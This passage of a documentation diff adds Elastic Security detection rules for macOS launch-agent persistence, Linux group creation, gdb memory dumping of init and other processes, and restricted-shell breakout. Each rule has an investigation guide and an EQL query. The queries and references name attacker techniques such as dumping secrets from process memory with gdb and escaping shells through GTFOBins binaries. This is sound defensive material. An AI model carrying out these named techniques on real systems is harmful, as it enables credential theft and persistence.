Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-launch-service-creation-and-immediate-loading.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-launch-service-creation-and-immediate-loading.asciidoc new file mode 100644 index 0000000000..7dccb0ba11 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-launch-service-creation-and-immediate-loading.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-launch-service-creation-and-immediate-loading]] +=== Launch Service Creation and Immediate Loading + +An adversary can establish persistence by installing a new launch agent that executes at login by using launchd or launchctl to load a plist into the appropriate directories. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Launch Service Creation and Immediate Loading* + + +Launch Agents in macOS are used to execute scripts or applications automatically at user login, providing a mechanism for persistence. Adversaries exploit this by creating or modifying Launch Agents to execute malicious payloads. The detection rule identifies such activities by monitoring file changes in Launch Agent directories and subsequent immediate loading via `launchctl`, indicating potential unauthorized persistence attempts. + + +*Possible investigation steps* + + +- Review the file path where the modification or creation of the Launch Agent occurred to determine if it is in a system directory (e.g., /System/Library/LaunchAgents/) or a user directory (e.g., /Users/*/Library/LaunchAgents/). This can help assess the potential impact and scope of the change. +- Examine the contents of the newly created or modified plist file to identify the script or application it is configured to execute. Look for any suspicious or unexpected entries that could indicate malicious activity. +- Check the timestamp of the file modification event to correlate it with any known user activities or other system events that might explain the change. +- Investigate the process execution details of the launchctl command, including the user account under which it was executed and any associated parent processes, to determine if it aligns with legitimate administrative actions or if it appears suspicious. +- Search for any additional related alerts or logs around the same timeframe that might indicate further malicious behavior or corroborate the persistence attempt, such as other process executions or network connections initiated by the suspicious process. + + +*False positive analysis* + + +- System or application updates may create or modify Launch Agents as part of their installation or update process. Users can create exceptions for known and trusted applications by whitelisting their specific file paths or process names. +- User-installed applications that require background processes might use Launch Agents for legitimate purposes. Identify these applications and exclude their associated Launch Agent paths from monitoring. +- Administrative scripts or tools used by IT departments for system management might trigger this rule. Coordinate with IT to document these scripts and exclude their activities from detection. +- Development tools or environments that automatically configure Launch Agents for testing purposes can cause false positives. Developers should be aware of these activities and can exclude their specific development directories. +- Backup or synchronization software that uses Launch Agents to schedule tasks may be flagged. Verify these applications and exclude their Launch Agent paths if they are deemed safe. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes associated with the unauthorized Launch Agent using Activity Monitor or the `kill` command in Terminal. +- Remove the malicious Launch Agent plist file from the affected directories: `/System/Library/LaunchAgents/`, `/Library/LaunchAgents/`, or `/Users/*/Library/LaunchAgents/`. +- Review and restore any system or application settings that may have been altered by the malicious Launch Agent. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Monitor the system for any signs of re-infection or further unauthorized changes to Launch Agents, ensuring that logging and alerting are configured to detect similar activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s + [file where host.os.type == "macos" and event.action == "launch_daemon"] by process.entity_id + [process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "launchctl" and process.args == "load"] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Launchctl +** ID: T1569.001 +** Reference URL: https://attack.mitre.org/techniques/T1569/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-group-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-group-creation.asciidoc new file mode 100644 index 0000000000..5c4290e6b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-group-creation.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-linux-group-creation]] +=== Linux Group Creation + +Identifies attempts to create a new group. Attackers may create new groups to establish persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux Group Creation* + + +The `groupadd` and `addgroup` commands are used to create new user groups in Linux-based operating systems. + +Attackers may create new groups to maintain access to victim systems or escalate privileges by assigning a compromised account to a privileged group. + +This rule identifies the usages of `groupadd` and `addgroup` to create new groups. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate whether the group was created succesfully. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific Group","query":"SELECT * FROM groups WHERE groupname = {{group.name}}"}} +- Identify if a user account was added to this group after creation. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Group creation is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Delete the created group and, in case an account was added to this group, delete the account. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "linux" and event.type == "group" and event.type == "creation" and event.outcome == "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-init-pid-1-secret-dump-via-gdb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-init-pid-1-secret-dump-via-gdb.asciidoc new file mode 100644 index 0000000000..3e2586b71d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-init-pid-1-secret-dump-via-gdb.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-linux-init-pid-1-secret-dump-via-gdb]] +=== Linux init (PID 1) Secret Dump via GDB + +This rule monitors for the potential memory dump of the init process (PID 1) through gdb. Attackers may leverage memory dumping techniques to attempt secret extraction from privileged processes. Tools that display this behavior include "truffleproc" and "bash-memory-dump". This behavior should not happen by default, and should be investigated thoroughly. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/controlplaneio/truffleproc +* https://github.com/hajzer/bash-memory-dump + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux init (PID 1) Secret Dump via GDB* + + +In Linux, the init process (PID 1) is the first process started by the kernel and is responsible for initializing the system. Adversaries may exploit debugging tools like GDB to dump memory from this process, potentially extracting sensitive information. The detection rule identifies suspicious GDB executions targeting PID 1, flagging unauthorized memory access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is "gdb" and the process arguments include "--pid" or "-p" with a target of PID "1". +- Check the user account associated with the gdb process execution to determine if it is authorized to perform debugging tasks on the system. +- Investigate the parent process of the gdb execution to understand how it was initiated and whether it was part of a legitimate workflow or script. +- Examine system logs around the time of the alert to identify any other suspicious activities or related events that might indicate a broader attack. +- Assess the system for any unauthorized changes or anomalies, such as new user accounts, modified configurations, or unexpected network connections. +- If possible, capture and analyze memory dumps or other forensic artifacts to identify any sensitive information that may have been accessed or exfiltrated. + + +*False positive analysis* + + +- System administrators or developers may use GDB for legitimate debugging purposes on the init process. To handle this, create exceptions for known maintenance windows or specific user accounts that are authorized to perform such actions. +- Automated scripts or monitoring tools might inadvertently trigger this rule if they include GDB commands targeting PID 1 for health checks. Review and adjust these scripts to avoid unnecessary memory access or exclude them from the rule if they are verified as safe. +- Security tools or forensic analysis software might use GDB as part of their operations. Identify these tools and whitelist their processes to prevent false positives while ensuring they are from trusted sources. +- Training or testing environments may simulate attacks or debugging scenarios involving GDB and PID 1. Exclude these environments from the rule to avoid noise, ensuring they are isolated from production systems. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious gdb process targeting PID 1 to stop any ongoing memory dumping activity. +- Conduct a thorough review of system logs and process execution history to identify any additional unauthorized access attempts or related suspicious activities. +- Change all credentials and secrets that may have been exposed or accessed during the memory dump, focusing on those used by the init process and other privileged accounts. +- Implement stricter access controls and monitoring for debugging tools like gdb, ensuring only authorized personnel can execute such tools on critical systems. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if further forensic analysis is required. +- Update and enhance detection rules and monitoring systems to better identify and alert on similar unauthorized memory access attempts in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "gdb" and process.args in ("--pid", "-p") and process.args == "1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-process-hooking-via-gdb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-process-hooking-via-gdb.asciidoc new file mode 100644 index 0000000000..82ef78caba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-process-hooking-via-gdb.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-20-linux-process-hooking-via-gdb]] +=== Linux Process Hooking via GDB + +This rule monitors for potential memory dumping through gdb. Attackers may leverage memory dumping techniques to attempt secret extraction from privileged processes. Tools that display this behavior include "truffleproc" and "bash-memory-dump". This behavior should not happen by default, and should be investigated thoroughly. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/controlplaneio/truffleproc +* https://github.com/hajzer/bash-memory-dump + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Process Hooking via GDB* + + +GDB, the GNU Debugger, is a powerful tool used for debugging applications by inspecting their memory and execution flow. Adversaries can exploit GDB to attach to running processes, potentially extracting sensitive information like credentials. The detection rule identifies suspicious use of GDB by monitoring process initiation with specific arguments, flagging potential unauthorized memory access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of GDB by checking if the process name is "gdb" and the arguments include "--pid" or "-p". +- Identify the target process that GDB is attempting to attach to by examining the process arguments and cross-referencing the process ID. +- Investigate the user account under which the GDB process is running to determine if it is authorized to perform debugging tasks on the target process. +- Check the system logs and audit logs for any unusual activity or prior attempts to access sensitive processes or data around the time the GDB process was initiated. +- Correlate the event with other security alerts or anomalies in the environment to assess if this is part of a broader attack pattern or isolated incident. +- Evaluate the necessity and legitimacy of the GDB usage in the context of the system's normal operations and the user's role. +- If unauthorized access is suspected, consider isolating the affected system and conducting a deeper forensic analysis to prevent potential data exfiltration. + + +*False positive analysis* + + +- Development and debugging activities may trigger the rule when developers use GDB for legitimate purposes. To manage this, create exceptions for specific user accounts or development environments where GDB usage is expected. +- Automated scripts or maintenance tasks that utilize GDB for process inspection can also cause false positives. Identify these scripts and exclude their execution paths or associated user accounts from the rule. +- Security tools or monitoring solutions that use GDB for legitimate process analysis might be flagged. Verify these tools and whitelist their processes or execution contexts to prevent unnecessary alerts. +- Training or educational environments where GDB is used for learning purposes can lead to false positives. Consider excluding these environments or specific user groups from the rule to avoid interference with educational activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the GDB process if it is confirmed to be unauthorized, using process management tools to stop the process safely. +- Conduct a memory dump analysis of the affected system to identify any potential data leakage or extraction of sensitive information. +- Review system logs and audit trails to identify any additional unauthorized access attempts or related suspicious activities. +- Change credentials for any accounts that may have been exposed or accessed during the incident to prevent unauthorized use. +- Implement stricter access controls and monitoring for systems that handle sensitive information to prevent similar incidents. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") + and process.name == "gdb" and process.args in ("--pid", "-p") and +/* Covered by d4ff2f53-c802-4d2e-9fb9-9ecc08356c3f */ +process.args != "1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-restricted-shell-breakout-via-linux-binary-s.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-restricted-shell-breakout-via-linux-binary-s.asciidoc new file mode 100644 index 0000000000..48351015c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-restricted-shell-breakout-via-linux-binary-s.asciidoc @@ -0,0 +1,254 @@ +[[prebuilt-rule-8-19-20-linux-restricted-shell-breakout-via-linux-binary-s]] +=== Linux Restricted Shell Breakout via Linux Binary(s) + +Identifies the abuse of a Linux binary to break out of a restricted shell or environment by spawning an interactive system shell. The activity of spawning a shell from a binary is not common behavior for a user or system administrator, and may indicate an attempt to evade detection, increase capabilities or enhance the stability of an adversary. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/gtfobins/apt/ +* https://gtfobins.github.io/gtfobins/apt-get/ +* https://gtfobins.github.io/gtfobins/nawk/ +* https://gtfobins.github.io/gtfobins/mawk/ +* https://gtfobins.github.io/gtfobins/awk/ +* https://gtfobins.github.io/gtfobins/gawk/ +* https://gtfobins.github.io/gtfobins/busybox/ +* https://gtfobins.github.io/gtfobins/c89/ +* https://gtfobins.github.io/gtfobins/c99/ +* https://gtfobins.github.io/gtfobins/cpulimit/ +* https://gtfobins.github.io/gtfobins/crash/ +* https://gtfobins.github.io/gtfobins/env/ +* https://gtfobins.github.io/gtfobins/expect/ +* https://gtfobins.github.io/gtfobins/find/ +* https://gtfobins.github.io/gtfobins/flock/ +* https://gtfobins.github.io/gtfobins/gcc/ +* https://gtfobins.github.io/gtfobins/mysql/ +* https://gtfobins.github.io/gtfobins/nice/ +* https://gtfobins.github.io/gtfobins/ssh/ +* https://gtfobins.github.io/gtfobins/vi/ +* https://gtfobins.github.io/gtfobins/vim/ +* https://gtfobins.github.io/gtfobins/capsh/ +* https://gtfobins.github.io/gtfobins/byebug/ +* https://gtfobins.github.io/gtfobins/git/ +* https://gtfobins.github.io/gtfobins/ftp/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux Restricted Shell Breakout via Linux Binary(s)* + +Detection alerts from this rule indicate that a Linux utility has been abused to breakout of restricted shells or +environments by spawning an interactive system shell. +Here are some possible avenues of investigation: +- Examine the entry point to the host and user in action via the Analyse View. + - Identify the session entry leader and session user +- Examine the contents of session leading to the abuse via the Session View. + - Examine the command execution pattern in the session, which may lead to suspricous activities +- Examine the execution of commands in the spawned shell. + - Identify imment threat to the system from the executed commands + - Take necessary incident response actions to contain any malicious behviour caused via this execution. + + +*Related rules* + + +- A malicious spawned shell can execute any of the possible MITTRE ATT&CK vectors mainly to impair defences. +- Hence its adviced to enable defence evasion and privilige escalation rules accordingly in your environment + + +*Response and remediation* + + +Initiate the incident response process based on the outcome of the triage. + +- If the triage releaved suspicious netwrok activity from the malicious spawned shell, + - Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware execution via the maliciously spawned shell, + - Search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- If the triage revelaed defence evasion for imparing defenses + - Isolate the involved host to prevent further post-compromise behavior. + - Identified the disabled security guard components on the host and take necessary steps in renebaling the same. + - If any tools have been disbaled / uninstalled or config tampered work towards reenabling the same. +- If the triage revelaed addition of persistence mechanism exploit like auto start scripts + - Isolate further login to the systems that can initae auto start scripts. + - Identify the auto start scripts and disable and remove the same from the systems +- If the triage revealed data crawling or data export via remote copy + - Investigate credential exposure on systems compromised / used / decoded by the attacker during the data crawling + - Intiate compromised credential deactivation and credential rotation process for all exposed crednetials. + - Investiagte if any IPR data was accessed during the data crawling and take appropriate actions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the 